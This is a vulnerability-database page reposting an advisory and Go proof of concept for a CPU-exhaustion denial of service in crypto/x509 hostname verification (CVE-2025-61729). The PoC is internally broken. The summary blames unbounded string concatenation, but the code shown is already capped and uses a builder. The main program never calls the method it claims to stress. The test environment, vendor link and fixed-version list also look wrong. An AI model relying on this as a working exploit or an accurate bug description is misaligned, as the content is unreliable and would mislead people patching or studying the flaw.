Lucene search
+L

📄 Go crypto/x509 Hostname Verification Denial of Service

🗓️ 04 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 211 Views

DoS in Go crypto/x509 hostname verification from certificates with DNSNames causing CPU exhaustion.

Related
Code
=============================================================================================================================================
    | # Title     : Go crypto/x509 Hostname Verification Denial of Service                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.gocrypto.com/                                                                                                   |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214685/ & CVE-2025-61729
    
    [+] Summary    : A denial of service vulnerability exists in the Go programming language crypto/x509 package. The issue occurs during TLS hostname verification
                     when constructing error messages for certificates containing a very large number of DNS names.
                     In affected versions, error message construction uses repeated string concatenation without bounds, resulting in quadratic time complexity
                     (O(n²)). An attacker can exploit this by presenting a malicious TLS certificate containing an excessive number of DNSNames, causing severe CPU and memory exhaustion.
    				 
    [+] Affected Versions : All Go versions prior to the official fixes are affected.
    
    The following versions are NOT vulnerable:
    
    - Go 1.23.1
    - Go 1.22.10
    - Any Go release containing the official patch
    
    [+] Technical Details : When hostname verification fails, the crypto/x509 package constructs a human-readable error string listing all DNS names present in the TLS certificate.
    
    [+] In vulnerable versions:
    
    - No upper bound is enforced on the number of DNS names processed
    - String concatenation is performed using repeated "+=" operations
    - This leads to quadratic time complexity and excessive memory usage
    
    An attacker-controlled certificate with tens or hundreds of thousandsof DNS names can trigger resource exhaustion during error generation.
    
    
    [+] PoC : The following PoC demonstrates the vulnerable condition by creating a certificate-like structure with 100,000 DNS names and triggering the
              error handling logic. The Error() method is intentionally not invoked to prevent system freeze on vulnerable environments.
    
    File: hostname_error.go
    -----------------------
    package main
    
    import (
        "fmt"
        "strings"
    )
    
    type HostnameError struct {
        Certificate *Certificate
        Host        string
    }
    
    type Certificate struct {
        DNSNames []string
    }
    
    func (h HostnameError) Error() string {
        const maxNames = 10
    
        var builder strings.Builder
        names := h.Certificate.DNSNames
    
        builder.WriteString("certificate is valid for ")
    
        displayCount := len(names)
        if displayCount > maxNames {
            displayCount = maxNames
        }
    
        for i := 0; i < displayCount; i++ {
            if i > 0 {
                builder.WriteString(", ")
            }
            builder.WriteString(names[i])
        }
    
        if len(names) > maxNames {
            builder.WriteString(
                fmt.Sprintf(", and %d more", len(names)-maxNames),
            )
        }
    
        builder.WriteString(fmt.Sprintf(", not for %s", h.Host))
        return builder.String()
    }
    -------------
    File: poc.go
    -------------
    package main
    
    import "fmt"
    
    func main() {
        cert := &Certificate{
            DNSNames: make([]string, 100000),
        }
    
        for i := range cert.DNSNames {
            cert.DNSNames[i] = fmt.Sprintf("host%d.example.com", i)
        }
    
        err := HostnameError{
            Certificate: cert,
            Host:        "example.com",
        }
    
        fmt.Println("[+] HostnameError object created")
        fmt.Printf("[+] DNSNames count: %d\n", len(cert.DNSNames))
    
        // WARNING:
        // Calling err.Error() on a vulnerable Go version
        // may cause severe CPU and memory exhaustion.
        _ = err
    }
    
    [+] How to Run
    
    1. Save the files as:
       - hostname_error.go
       - poc.go
    
    2. Run the PoC:
       $ go run .
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.17.5
EPSS0.00442
SSVC
211